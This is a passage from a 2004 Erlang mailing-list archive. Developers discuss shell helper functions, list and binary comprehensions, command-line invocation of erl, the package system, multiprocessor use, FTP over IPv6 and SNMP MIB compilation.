point of view your example shows no difference. Difference in only in the polymorphism model, leading to the different code look and feel. > > > Grady Booch told us an object has state, behaviour > > and > > > identity in 1991. This seems to be an accepted > > truth > > > in the OO community, as far as I can tell. > > Ok. I see. Open OCaml manual, OO section. > > Lets see did they accepted it or not. > > OCaml is hardly the principal example of an object > oriented language. Authors of the OCaml however think that it supports OO. It conforms known OOP definition, and Mr. Booch agree with this definition :). What else do we need? I don't think it's better or worse than other OO language for our purpose (proofing that OO community accepted Booch object definition as a truth). > > My impression is that 'object' is so general, > > popular and intuitive term > > that the most developers I seen feeling free to use > > it without > > consultation with Mr. Booch. :) So I would be very > > careful > > to talk about the community. > > If you ask an OO practitioner what makes something an > 'object', you might be surprised. (Hopefully not too > many will answer "huh?") Only in this mailing lists there are several different answers. Btw, I see you are surprised by my opinion on that topic, huh? :) Sincerely, Vlad Balin From joe@REDACTED Fri Aug 13 16:41:02 2004 From: joe@REDACTED (Joe Armstrong) Date: Fri, 13 Aug 2004 16:41:02 +0200 (CEST) Subject: Tip of the day In-Reply-To: References: <410DED20.9020400@erlang-consulting.com> Message-ID: Brilliant How come we miss the simplest of ideas? I have hundreds (thousands?) of lines of {ok, XX} =foo(...) ok(foo(..)) is *much clearer* - and it saves two characters (well one really, but I always put a space after the comma. I'm going to have to change a lot of my code now :-) /Joe On Thu, 12 Aug 2004, Richard Carlsson wrote: > > Put the following in your user_default.erl > > ----cut here---- > -module(user_default). > -compile(export_all). > > ok(T) when tuple(T), size(T) >= 2, element(1, T) == ok -> element(2, T); > ok(E) -> erlang:fault({not_ok, E}). > > ok2(T) when tuple(T), size(T) >= 3, element(1, T) == ok -> element(3, T); > ok2(E) -> erlang:fault({not_ok, E}). > > ok3(T) when tuple(T), size(T) >= 4, element(1, T) == ok -> element(4, T); > ok3(E) -> erlang:fault({not_ok, E}). > ----cut here---- > > and add the lines > > code:add_path("...path-to-my-user-default/ebin"). > code:ensure_loaded(user_default). > > to your ~/.erlang file. > > Then you can use these functions in the Erlang shell, like this: > > Eshell V5.4 (abort with ^G) > 1> File = ok(file:open("myfile",[read])). > <0.40.0> > 2> file:close(File). > > or > > 3> ok(erl_parse:parse_term(ok(erl_scan:string("[1,2,3].")))). > [1,2,3] > 4> > > No more matching on {ok, ...}. (Works for tuples of any size > 1.) > > /Richard > > > > Richard Carlsson (richardc@REDACTED) (This space intentionally left blank.) > E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ > "Having users is like optimization: the wise course is to delay it." > -- Paul Graham > From carsten@REDACTED Fri Aug 13 16:43:59 2004 From: carsten@REDACTED (Carsten Schultz) Date: Fri, 13 Aug 2004 16:43:59 +0200 Subject: List comprehensions (was: Re: Binary comprehensions) In-Reply-To: References: <411C0EB7.5060306@duomark.com> Message-ID: <20040813144358.GE6578@penne.localnet> Hi Luke! On Fri, Aug 13, 2004 at 03:44:24PM +0200, Luke Gorrie wrote: > Speaking of comprehensions, does anyone else think that the way > multiple generators in a list comprehension works is weird? I think > this behaviour would be better: > > [{X,Y} || X <- [1,2,3], Y <- [a,b,c]] => [{1,a},{2,b},{3,c}] > > i.e. to walk over the lists in parallel instead of trying all the > combinations. I'm always writing code that walks down two lists in > parallel and very rarely wanting all the combinations. No, I do not feel like that at all. BTW, I do not find a function like zip([], _) -> []; zip(_, []) -> []; zip([X|Xs], [Y|Ys]) -> [{X, Y}|zip(XS, YS)]. Have I overlooked it? GHC extends Haskell's syntax in a way you might like: http://www.haskell.org/ghc/docs/latest/html/users_guide/syntax-extns.html#PARALLEL-LIST-COMPREHENSIONS An adaption to Erlang would look like [{X,Y} || X <- [1,2,3] || Y <- [a,b,c]] => [{1,a},{2,b},{3,c}] > I'm not suggesting it be changed (of course). I just think it's funny > that list comprehensions turn up in lots of programminig languages and > I hardly ever see someone use more than one generator at a time. Hm, I am not sure here. Several generators might indeed be needed rarely because [{X,Y} || X <- [1,2,3], Y <- [a,b,c]] can be replaced by lists:append([[{X,Y} || X <- [1,2,3]] || Y <- [a,b,c]]) and you might even omit the call to append in many cases in a usual Erlang program. Greetings, Carsten -- Carsten Schultz (2:38, 33:47), FB Mathematik, FU Berlin http://carsten.codimi.de/ PGP/GPG key on the pgp.net key servers, fingerprint on my home page. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jay@REDACTED Fri Aug 13 16:50:57 2004 From: jay@REDACTED (Jay Nelson) Date: Fri, 13 Aug 2004 07:50:57 -0700 Subject: Binary comprehensions Message-ID: <411CD551.3040706@duomark.com> Thomas wrote: > For some special cases, a list comprehension wrapped > in binary_to_list/list_to_binary would suffice. E.g., > > list_to_binary([ foo(X) || X <- binary_to_list(Bin)]) Code-wise it reads ok, but if I am a middle-man process translating from one socket to another it introduces a lot of overhead. I would like to receive one binary, transform and send out the resulting binary in a single step. > - extracting the bytes from the starting binary: using > binary_to_list, there is the overhead of an > intermediate list and the limitation of only > extracting bytes; better compilation might get rid of > this. Or maybe just a generalized binary_to_list which > splits binaries into user-defined chunks. (And a > library of higher-order operations on binaries?) I would say standard erlang style says convert to a list and use the list built-ins, so the only reason to want binary comprehensions is for speed. I assumed byte as the default extraction of elements, but allowed for the size to be specified as in || X:4/integer <- Bin which the compiler would have to work out. Either way, I expected the number of elements to be pre- computable. As soon as you break the binary into chunks you need to start allocating the chunks. In the way I specified the result is a single binary and I would expect the original to not be copied, the result to be pre- allocated and the intermediate transformations to consume at most one transient binary (although the function call can do whatever it wants to that binary including unpacking it building big lists, reassembling and sending back a result). > - building the final binary: if we want to directly > construct the final binary, we have to know an upper > bound of its size (otherwise we cannot preallocate > memory for it). Since we can't do that, the general > case may have to stitch together smaller binaries. > (Does Erlang/OTP have "heap binaries" these days?) I made a simplification in my mind that might prove to be too limiting, but I expect it would cover a lot of useful situations. Whatever size of item is extracted on the right of the || is the size of the transformed elements on the left. The result binary can be preallocated (even on the stack if it is thrown away soon after), and then destructive operations used to set it. Allow the function on the left to do whatever it wants but coerce the result to match the size of the extracted element when constructing the final binary. This approach seems internally consistent and expected. For a more general approach, there is no syntactic shortcut -- convert the binary to a list, have at it and generate a new binary using existing erlang constructs. > So, my guess is: binary comprehensions can be a > pleasant notation, but performance wins compared to > list comprehensions are unclear. It will need a bit of > compiler work to do well. > On the other hand, good notation is an end in itself, > and it might be blazingly fast on selected code :-) The commonly useful cases are translating binary file to another format, translating binary streamed data going from process to process (my pet project), and manipulating fixed length binary formatted data. For example (assuming lots of memory, but only 2x what is needed not more than 3x as might be needed to convert to a list and back again): PhotoSize = 1024*1024, ValidPhotos = << filter(Rec) || Rec:PhotoSize/binary <- ok2(file:read_file("mars_data") >>, relay_mars_data_from_moon(ValidData). [Of course, this should be read a record at a time from the file in binary mode, but you get the idea.] Luke wrote: > Speaking of comprehensions, does anyone else think > that the way multiple generators in a list comprehension > works is weird? Definitely. Haven't come up with a need for that yet. > I'm always writing code that walks down two lists in > parallel and very rarely wanting all the combinations. Common idiom. Making it easy and clear to specify might make it more common. I might even want to change a design if it made the result clearer. I've really gotten to like comprehensions so much that I don't even use lists:foreach (if I don't pattern-match to a variable it is clear I am only using it for side-effects). > Syntactic sugar should optimize for the most common > cases, right? I guess that's what I'm advocating in the binary comprehension. In this case it could clarify code, but the main reason is for super fast channeling of data in a functional language. jay From enewhuis@REDACTED Fri Aug 13 17:01:22 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Fri, 13 Aug 2004 10:01:22 -0500 Subject: Tip of the day In-Reply-To: Message-ID: Any way to get module and line-number information when there is a badmatch? Our unit tests would be happier and traced failures could enable activation of the appropriate source file. We use macros like this... %% ?MATCH %% %% Generates badmatch error with module and line info if X does not match Y. %% %% usage: ?MATCH (A,A) -define (MATCH (X, Y), {?MODULE, ?LINE, X} = {?MODULE, ?LINE, Y}). On 8/13/04 9:41 AM, "Joe Armstrong" wrote: > Brilliant > > > How come we miss the simplest of ideas? > > I have hundreds (thousands?) of lines of > > {ok, XX} =foo(...) > > ok(foo(..)) is *much clearer* - and it saves two characters (well > one really, but I always put a space after the comma. > > I'm going to have to change a lot of my code now :-) > > /Joe > > > > > > On Thu, 12 Aug 2004, Richard Carlsson wrote: > >> >> Put the following in your user_default.erl >> >> ----cut here---- >> -module(user_default). >> -compile(export_all). >> >> ok(T) when tuple(T), size(T) >= 2, element(1, T) == ok -> element(2, T); >> ok(E) -> erlang:fault({not_ok, E}). >> >> ok2(T) when tuple(T), size(T) >= 3, element(1, T) == ok -> element(3, T); >> ok2(E) -> erlang:fault({not_ok, E}). >> >> ok3(T) when tuple(T), size(T) >= 4, element(1, T) == ok -> element(4, T); >> ok3(E) -> erlang:fault({not_ok, E}). >> ----cut here---- >> >> and add the lines >> >> code:add_path("...path-to-my-user-default/ebin"). >> code:ensure_loaded(user_default). >> >> to your ~/.erlang file. >> >> Then you can use these functions in the Erlang shell, like this: >> >> Eshell V5.4 (abort with ^G) >> 1> File = ok(file:open("myfile",[read])). >> <0.40.0> >> 2> file:close(File). >> >> or >> >> 3> ok(erl_parse:parse_term(ok(erl_scan:string("[1,2,3].")))). >> [1,2,3] >> 4> >> >> No more matching on {ok, ...}. (Works for tuples of any size > 1.) >> >> /Richard >> >> >> >> Richard Carlsson (richardc@REDACTED) (This space intentionally left >> blank.) >> E-mail: Richard.Carlsson@REDACTED WWW: http://user.it.uu.se/~richardc/ >> "Having users is like optimization: the wise course is to delay it." >> -- Paul Graham >> Eric Newhuis Chief Technology Officer FutureSource 630.649.9619 Mobile 630.792.2065 Office 630.792.2600 Fax enewhuis@REDACTED http://www.ifuturesource.com FutureSource | Futures Solutions. Now. The information contained in this e-mail message is legally privileged and confidential information intended only for the use of the individual or entity named above. If the reader of this e-mail message is not the intended recipient, you are hereby notified that any dissemination, distribution or copy of this e-mail is strictly prohibited. If you have received this e mail in error, please contact the sender and immediately delete the original message. Thank you. From Thomas.Herchenroeder@REDACTED Sat Aug 14 15:46:40 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Sat, 14 Aug 2004 15:46:40 +0200 Subject: Hello (Erlang) World! Message-ID: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> Hi, My name is Thomas. I'm new to this list, albeit not enitrely new to Erlang. I want to give you some remarks on my Erlang experiences so far. Please feel free to comment on anything. Chances are that I've overlooked things that are obvious to others, typical 'newbie' mistakes. On the other hand, I know the newbie perspective can be interesting, since newbies haven't already arranged themselves with many things, as it naturally happens when they pass on to the more advanced states ;-). I got interested in Erlang a couple of years ago. But since my day job is with system administration, I can only make progress in small pieces, playing with Erlang on my Windows notebook at home. I love Erlang for its syntax (being an old-time Prolog fan) and the built-in concurrency and messaging, and I'm really impressed by the runtime environment and the available tools and applications. Big compliments to all the developers. But being not from the telco realm, my main programming interests are with TCP/IP-based client/servers and protocols (HTTP, FTP, LDAP, DNS, ...), command line filters and automation scripts, just the kind of stuff network admins are after ;-). While plain socket support is decent (gen_tcp), I realized that there are few protocol-specific modules ("bindings") in Erlang, maybe besides HTTP, FTP and IRC. I was surprised how difficult it was to create a little application that runs from the command line. I created the typical -module(hello). -export([run/0]). run() -> io:format("Hello World~n",[]). and after some looking around invoked it with bash> erlc hello.erl bash> erl -noshell -run hello run which prints the message, but then the process hangs, and I have to use ^C to end it. I tried to find better command line switches with 'erl --help' but unfortunately that doesn't work. I wish there would be an (appreciated) -compile flag that let me do the two lines in one, or even better does the compilation on the fly and in the background and only if necessary. Perl and Python can do that, why shouldn't Erlang?! And I'm still worried about the hanging process. My next little project would be a simple version of 'grep' in Erlang, to be used as a filter like bash> ls -al | erl -noshell -run grep run '.erl' | but this only works properly if the erl process terminates. I have to make my way through Ports and think about standard streams in Erlang. And what about "hash-bang" support that lets me put the "erl -noshell -run grep run" part into the file itself and then invoke it with "grep.erl '.erl'"?! I realize Erlang was not invented with this kind of applications in mind. But I think it would be greate if Erlang could extend into other realms, wouldn't it?! And it maybe doesn't take much. Speaking of modules I wish Erlang had something like a "CEAN", a "Comprehensive Erlang Archive Network", as it exists for Perl (and possibly not as a network in the first step). I find it hard to find suitable modules on the Web looking into erlang.org user contributions, the erlang-projects.org web site and the Jungerl archive. Jungerl is not even available for direct download if you dont have a cvs client (like me). Erlang modules are not organized in a hierarchy, but come in a flat name space. Maybe support for hierarchical module names in the language could help here. But a basic, well organized archive infrastructure would be just fine for the moment. It's a shame that good modules dont get propagated (e.g. http://www.erlang.org/ml-archive/erlang-questions/200408/msg00006.html), or are difficult to find. I recently compiled my first Erlang on Linux (R9C-2). I stumbled over the 'tgetent in -lcurses' problem that I found was addressed in http://www.erlang.org/ml-archive/erlang-questions/200303/msg00166.html, which refers to R9B-0. Unfortunately, the configer bug still seems to exist, and no hint in the README. Much of my work is with text-based applications, either as a network protocol or in files. Scanning text is an every-day task. I read somewhere that Erlang is not suitable for munging lots of text, since the internal string representation is expensive. Maybe a better internal treatment of strings could help here. The other ubiquitous tool for me are regular expressions, and the standard regexp module appears, well, a bit scarce. I know only of the 'grepexp' module from Jungerl that improves a little bit on that. Concerning the mailing list: I dont know how your spam rate is doing, but the list owners might want to consider obscuring email addresses of posters in the mail archive, which is accessible over the Web, so email address scanners run out of luck. So much for today. I'm looking forward making my way deeper into Erlang. Thanks for your interest. =Thomas From vances@REDACTED Sat Aug 14 20:37:00 2004 From: vances@REDACTED (Vance Shipley) Date: Sat, 14 Aug 2004 14:37:00 -0400 Subject: Hello (Erlang) World! In-Reply-To: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> Message-ID: <20040814183700.GA76097@frogman.motivity.ca> On Sat, Aug 14, 2004 at 03:46:40PM +0200, Thomas.Herchenroeder@REDACTED wrote: } ... } bash> erl -noshell -run hello run } } which prints the message, but then the process hangs, and I have } to use ^C to end it. ... erl -noshell -run hello run -run erlang halt } ... I wish there would be an (appreciated) -compile flag that let me } do the two lines in one ... erl -noshell -run c c hello -run hello run -run erlang halt } Erlang modules are not organized in a hierarchy, but come in a flat name } space. } Maybe support for hierarchical module names in the language could help } here. ... http://www.erlang.se/publications/packages.html http://www.it.uu.se/research/reports/2000-001 -Vance From erlang@REDACTED Sat Aug 14 21:24:59 2004 From: erlang@REDACTED (Bernardo Paroli) Date: Sat, 14 Aug 2004 16:24:59 -0300 Subject: Xeon Double Processor Performance compared to single Pentium IV on Windows Message-ID: <017001c48234$64ea6650$5f00a8c0@BP> Does anybody have any practical experience with Erlang performance on double Xeon processors, when compared to the performance on single Pentium IV processors, on Windows environments? Does Erlang make any use of the second processor? Regards, Bernardo -------------- next part -------------- An HTML attachment was scrubbed... URL: From johan@REDACTED Sat Aug 14 22:59:38 2004 From: johan@REDACTED (Johan Warlander) Date: Sat, 14 Aug 2004 22:59:38 +0200 Subject: Hello (Erlang) World! In-Reply-To: <20040814183700.GA76097@frogman.motivity.ca> References: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> <20040814183700.GA76097@frogman.motivity.ca> Message-ID: <20040814205753.M53407@snowflake.nu> On Sat, 14 Aug 2004 14:37:00 -0400, Vance Shipley wrote > } Erlang modules are not organized in a hierarchy, but come in a > flat name } space. } Maybe support for hierarchical module names > in the language could help } here. ... > > http://www.erlang.se/publications/packages.html > http://www.it.uu.se/research/reports/2000-001 Thank you! I had no idea that this existed :) It should definitely be better advertised than it currently is. Johan From vances@REDACTED Sat Aug 14 23:28:13 2004 From: vances@REDACTED (Vance Shipley) Date: Sat, 14 Aug 2004 17:28:13 -0400 Subject: Tip of the day In-Reply-To: References: <410DED20.9020400@erlang-consulting.com> Message-ID: <20040814212813.GB76097@frogman.motivity.ca> Tip for Saturday August 14th: Have you ever forgot to store the return value of a function while working in the shell and had to run it again? 1> (user@REDACTED)1> foo:start(). {ok,<0.48.0>} Oops! No need to start another process: 2> {ok, Pid} = v(1). {ok,<0.48.0>} -Vance From Thomas.Herchenroeder@REDACTED Sun Aug 15 10:39:37 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Sun, 15 Aug 2004 10:39:37 +0200 Subject: AW: Hello (Erlang) World! Message-ID: <0AE50E462665EB4898CACAC8DA1698226CC24E@DAEMSG03.eur.ad.sag> > erl -noshell -run hello run -run erlang halt Ah, yes. I had been playing with something like '-run kernel halt'. Now the process terminates on my Windows Erlang 5.0.2, but doesn't print anything! (I had to replace the -run flag with the older -s flag). It works as expected on the Linux Erlang 5.3.6.3. I guess I have to upgrade my Windows version :-). > http://www.erlang.se/publications/packages.html > http://www.it.uu.se/research/reports/2000-001 Now this is interesting! I looked through the Erlang book, the "Erlang Extensions since 4.4" and the most current "Erlang Reference Manual version 5.3" - no mentioning of packages. Is this something like a (nearly) "undocumented feature"? =Thomas -------------- next part -------------- An HTML attachment was scrubbed... URL: From mickael.remond@REDACTED Sun Aug 15 11:23:00 2004 From: mickael.remond@REDACTED (Mickael Remond) Date: Sun, 15 Aug 2004 11:23 +0200 Subject: Xeon Double Processor Performance compared to single Pentium IV on Windows In-Reply-To: <017001c48234$64ea6650$5f00a8c0@BP> References: Message-ID: Message-ID: <1088-SnapperMsgFFCC63D8BD44DC9C@10.164.62.99> ..... Original Message ....... On Sat, 14 Aug 2004 16:24:59 -0300 "Bernardo Paroli" wrote: >Does anybody have any practical experience with Erlang performance on double Xeon processors, when compared to the performance on single Pentium IV processors, on Windows environments? > >Does Erlang make any use of the second processor? No. Erlang/OTP does not currently automatically use the second processor. What is generally done when using multiple CPU computer is to launch as one erlang virtual machine per CPU and use traditional Erlang applications distribution mechanisms. -- Micka?l R?mond http://www.erlang-projects.org/ From matthias@REDACTED Sun Aug 15 20:22:45 2004 From: matthias@REDACTED (Matthias Lang) Date: Sun, 15 Aug 2004 20:22:45 +0200 Subject: Hello (Erlang) World! In-Reply-To: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA169822435778@DAEMSG03.eur.ad.sag> Message-ID: <16671.43509.760649.79174@antilipe.corelatus.se> Thomas.Herchenroeder@REDACTED writes: > Concerning the mailing list: I dont know how your spam rate is > doing, but the list owners might want to consider obscuring email > addresses of posters in the mail archive, which is accessible over > the Web, so email address scanners run out of luck. The mail address in the erlang.org archive _are_ obscured. They're images, not text. Seems like a good tradeoff to me: it stops all but the most determined address harvesters and is so unobtrusive that many people don't even notice it. Matthias From Manjeet.Singh.Sardar@REDACTED Sun Aug 15 20:21:49 2004 From: Manjeet.Singh.Sardar@REDACTED (Manjeet.Singh Sardar (AC/EDD)) Date: Sun, 15 Aug 2004 20:21:49 +0200 Subject: FTP with IPV6 on R9C-2 Message-ID: Hi, I am new to this list but i am working with Erlang for the past 1.5 years.Currently i am trying to use ftp application of Erlang for Ipv6.But i am not able to successfully use this applcation. I am using the latest version of Erlang i.e R9c-2 on linux7.0 with kernal 2.4.1 with ipv6 support. I am getting the following error. /////////// Eshell V5.3.6.3 (abort with ^G) %%working fine fro ipv4 address 1> ftp:open("172.30.50.20"). {ok,<0.31.0> %%Giving ehost error when ipv6 address is used. 2> ftp:open("2001:1::2"). {error,ehost} 3> ftp:open("2001:1::2"). {error,ehost} ////// My question is whether R9C-2 ftp application supports ipv6 ? or am i making any mistakes . Pls give me your valuable suggestions. Regards Manjeet From Thomas.Herchenroeder@REDACTED Sun Aug 15 23:21:14 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Sun, 15 Aug 2004 23:21:14 +0200 Subject: AW: Hello (Erlang) World! Message-ID: <0AE50E462665EB4898CACAC8DA1698226CC24F@DAEMSG03.eur.ad.sag> > The mail address in the erlang.org archive _are_ obscured. > They're images, not text. Great! And you're right: It's truely unobvious. I never saw this technique before, and didn't think of the possibility that the software could go all the way and generate images from email addresses. Greate stuff. =Thomas -------------- next part -------------- An HTML attachment was scrubbed... URL: From klacke@REDACTED Sun Aug 15 23:24:42 2004 From: klacke@REDACTED (klacke@REDACTED) Date: Sun, 15 Aug 2004 23:24:42 +0200 Subject: Tip of the day In-Reply-To: <20040814212813.GB76097@frogman.motivity.ca> References: <410DED20.9020400@erlang-consulting.com> <20040814212813.GB76097@frogman.motivity.ca> Message-ID: <20040815212442.GA11687@hyber.org> On Sat, Aug 14, 2004 at 05:28:13PM -0400, Vance Shipley wrote: > Tip for Saturday August 14th: > > Have you ever forgot to store the return value of a function > while working in the shell and had to run it again? > > 1> (user@REDACTED)1> foo:start(). > {ok,<0.48.0>} > > Oops! No need to start another process: > > 2> {ok, Pid} = v(1). > {ok,<0.48.0>} I use v(-1) all the time ..... /klacke -- Claes Wikstrom -- Caps lock is nowhere and http://www.hyber.org -- everything is under control From cpressey@REDACTED Mon Aug 16 07:19:58 2004 From: cpressey@REDACTED (Chris Pressey) Date: Sun, 15 Aug 2004 22:19:58 -0700 Subject: AW: Hello (Erlang) World! In-Reply-To: <0AE50E462665EB4898CACAC8DA1698226CC24E@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA1698226CC24E@DAEMSG03.eur.ad.sag> Message-ID: <20040815221958.186779e9.cpressey@catseye.mine.nu> On Sun, 15 Aug 2004 10:39:37 +0200 wrote: > > erl -noshell -run hello run -run erlang halt > > Ah, yes. I had been playing with something like '-run kernel halt'. > > Now the process terminates on my Windows Erlang 5.0.2, but doesn't > print anything! (I had to replace the -run flag with the older -s > flag). It works as expected on the Linux Erlang 5.3.6.3. I guess I > have to upgrade my Windows version :-). If memory serves, you (still?) have to use '-run init stop' on Windows to give the emulator time to shut down. Killing it immediately with '-run erlang halt' discards the output buffer :/ -Chris From Manjeet.Singh.Sardar@REDACTED Mon Aug 16 09:24:57 2004 From: Manjeet.Singh.Sardar@REDACTED (Manjeet.Singh Sardar (AC/EDD)) Date: Mon, 16 Aug 2004 09:24:57 +0200 Subject: FTP with IPV6 on R9C-2 Message-ID: Hi, I am new to this list but i am working with Erlang for the past 1.5 years.Currently i am trying to use ftp application of Erlang for Ipv6.But i am not able to successfully use this applcation. I am using the latest version of Erlang i.e R9c-2 on linux7.0 with kernal 2.4.1 with ipv6 support. I am getting the following error. /////////// Eshell V5.3.6.3 (abort with ^G) %%working fine fro ipv4 address 1> ftp:open("172.30.50.20"). {ok,<0.31.0> %%Giving ehost error when ipv6 address is used. 2> ftp:open("2001:1::2"). {error,ehost} 3> ftp:open("2001:1::2"). {error,ehost} ////// My question is whether R9C-2 ftp application supports ipv6 ? or am i making any mistakes . Pls see that the ipv6 address is valid one and ping is working properly. Pls give me your valuable suggestions. Regards Manjeet -------------- next part -------------- An HTML attachment was scrubbed... URL: From richardc@REDACTED Mon Aug 16 09:41:41 2004 From: richardc@REDACTED (Richard Carlsson) Date: Mon, 16 Aug 2004 09:41:41 +0200 Subject: AW: Hello (Erlang) World! In-Reply-To: <0AE50E462665EB4898CACAC8DA1698226CC24E@DAEMSG03.eur.ad.sag> References: <0AE50E462665EB4898CACAC8DA1698226CC24E@DAEMSG03.eur.ad.sag> Message-ID: <41206535.3000908@csd.uu.se> Thomas.Herchenroeder@REDACTED wrote: > > http://www.erlang.se/publications/packages.html > > http://www.it.uu.se/research/reports/2000-001 > > Now this is interesting! I looked through the Erlang book, the "Erlang > Extensions since 4.4" and the most current "Erlang Reference Manual > version 5.3" - no mentioning of packages. Is this something like a > (nearly) "undocumented feature"? "Nearly undocumented" is pretty much correct. It is only announced in the "Release Highlights" section of the R9 documentation. Note that the tech report from 2000 was just the first draft of what the package system could look like. It does not describe the implementation. The first link above is the one to use for reference. /Richard From Thomas.Herchenroeder@REDACTED Mon Aug 16 09:50:03 2004 From: Thomas.Herchenroeder@REDACTED (Thomas.Herchenroeder@REDACTED) Date: Mon, 16 Aug 2004 09:50:03 +0200 Subject: AW: Hello (Erlang) World! Message-ID: <0AE50E462665EB4898CACAC8DA16982243577B@DAEMSG03.eur.ad.sag> > > > erl -noshell -run hello run -run erlang halt > ... > If memory serves, you (still?) have to use '-run init stop' on Windows > to give the emulator time to shut down. Killing it immediately with > '-run erlang halt' discards the output buffer :/ Yes, replacing '-run erlang halt' with '-run init stop' (rather then inserting it into the -run chain) does the job on Windows. Thanks. =Thomas From mbj@REDACTED Mon Aug 16 13:49:31 2004 From: mbj@REDACTED (Martin Bjorklund) Date: Mon, 16 Aug 2004 13:49:31 +0200 (CEST) Subject: SNMPp: problems compiling MIBs In-Reply-To: <1092319454.411b78de8ed8a@mail.ciateq.mx> References: <1092319454.411b78de8ed8a@mail.ciateq.mx> Message-ID: <20040816.134931.112623344.mbj@bluetail.com> anygren@REDACTED wrote: > > Hi > I can not compile the attached MIB. > I get > > PEM-STANDARD.mib: Error: 'probableCause' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'eventTypePem' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'eventTime' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'perceivedSeverity' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'sequenceNumber' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'managedObjectInstance' missing in OBJECT-GROUP > PEM-STANDARD.mib: Error: 'managedObjectClass' missing in OBJECT-GROUP > compilation_failedanders@REDACTED:~/src/test/EDA 2.0 MIBs> You should use the group_check flag to the compiler: erlc +'{group_check, false}' ... > I can not figure out what 'OBJECT-GROUP' is the compiler complaining > about. It's a SMIv2 standard macro, and all objects are required (by the rfc) to be included in one OBJECT-GROUP. However, in many cases OBJECT-GROUPs are not used, which is why you can turn off the group check function. /martin From mbj@REDACTED Mon Aug 16 13:58:37 2004 From: mbj@REDACTED (Martin Bjorklund) Date: Mon, 16 Aug 2004 13:58:37 +0200 (CEST) Subject: SNMP stuff In-Reply-To: <1092312729.17064.267.camel@wks2.4dp.dfs.de> References: <1092312729.17064.267.camel@wks2.4dp.dfs.de> Message-ID: <20040816.135837.18301694.mbj@bluetail.com> Hi, Dietmar Sch?fer wrote: > Hi ! > > > Some (much) more questions concerning SNMP and Erlang. > > > I have a MIB (V1) containing a variable mibversion type DisplayString > > > I made a mnesia table > > -record(all_mib_variables,{mibversion}). > > I wrote a .funcs file > {all_mib_variables,{instrumentation,mibversion,[]}}. > > > And I wrote an instrumentation function instrumentation.erl > > > mibversion(get) -> > Version = "Version-0-1", > {value,Version}. > > just to see what happens. > > > > So, if I got it right any snmp-get-request causes a call to > instrumenation:mibversion(get) ???? > > > Yes ! (?) > > > > The valid return value for such an instrumentation function would be > > {value,"Version-1.0") for example ?? > > So, instead of asking the database I should be able to it as i did ?? > > > But why do I get : > > User error: Got > {'EXIT',{undef,[{instrumentation,mibversion,[get]},{snmp_agent,try_get_instance,2},{snmp_agent,next_loop_varbinds,5},{snmp_agent,process_pdu,4},{snmp_agent,handle_pdu,7},{snmp_agent,handle_info,2},{gen_server,handle_msg,6},{proc_lib,init_p,5}]}} from {instrumentation,mibversion,[]}. ({asn1_type,'INTEGER',undefined,undefined,[{enums,[{inactive,2},{active,1}]}],true,'INTEGER',false}) Using genErr This message means that the mibversion/1 function is not exported from the intrumentation module (or if it is, that the module is not found at all). /martin From enewhuis@REDACTED Mon Aug 16 14:10:49 2004 From: enewhuis@REDACTED (Eric Newhuis) Date: Mon, 16 Aug 2004 07:10:49 -0500 Subject: AW: Hello (Erlang) World! In-Reply-To: <41206535.3000908@csd.uu.se> Message-ID: We tried this feature and it caused problems. Either due to our then lack of Erlang finesse or actual limitations the packaging causes problems with OTP. Can anyone comment on that? Maybe it has been brought up before. Now where is that mailling list archive search button.... On 8/16/04 2:41 AM, "Richard Carlsson" wrote: > Thomas.Herchenroeder@REDACTED wrote: > >>> http://www.erlang.se/publications/packages.html >>> http://www.it.uu.se/research/reports/2000-001 >> >> Now this is interesting! I looked through the Erlang book, the "Erlang >> Extensions since 4.4" and the most current "Erlang Reference Manual >> version 5.3" - no mentioning of packages. Is this something like a >> (nearly) "undocumented feature"? > > "Nearly undocumented" is pretty much correct. It is only announced > in the "Release Highlights" section of the R9 documentation. > > Note that the tech report from 2000 was just the first draft of > what the package system could look like. It does not describe the > implementation. The first link above is the one to use for reference. > > /Richard Eric Newhuis Chief Technology Officer FutureSource 630.649.9619 Mobile 630.792.2065 Office 630.792.2600 Fax enewhuis@REDACTED http://www.ifuturesource.com FutureSource | Futures Solutions. Now. The information contained in this e-mail message is legally privileged and confidential information intended only for the use of the individual or entity named above. If the reader of this e-mail message is not the intended recipient, you are hereby notified that any dissemination, distribution or copy of this e-mail is strictly prohibited. If you have received this e mail in error, please contact the sender and immediately delete the original message. Thank you. From richardc@REDACTED Mon Aug 16 14:25:56 2004 From: richardc@REDACTED (Richard Carlsson) Date: Mon, 16 Aug 2004 14:25:56 +0200 (MEST) Subject: AW: Hello (Erlang) World! In-Reply-To: References: Message-ID: On Mon, 16 Aug 2004, Eric Newhuis wrote: > We tried this feature and it caused problems. > > Either due to our then lack of Erlang finesse or actual limitations the > packaging causes problems with OTP. Can you describe these problems in a bit more detail, please? > Can anyone comment on that? Maybe it has been brought up before. > Now where is that mailling list archive search button.... The only real problem that I know about has to do with the debugger, which has its own hard-coded ideas about how a module looks and where it should be found. /Richard > On 8/16/04 2:41 AM, "Richard Carlsson" wrote: > > > Thomas.Herchenroeder@REDACTED wrote: > > > >>> http://www.erlang.se/publications/packages.html > >>> http://www.it.uu.se/research/reports/2000-001 > >> > >> Now this is interesting! I looked through the Erlang book, the "Erlang > >> Extensions since 4.4" and the most current "Erlang Reference Manual > >> version 5.3" - no mentioning of packages. Is this something like a > >> (nearly) "undocumented feature"? > > > > "Nearly undocumented" is pretty much correct. It is only announced > > in the 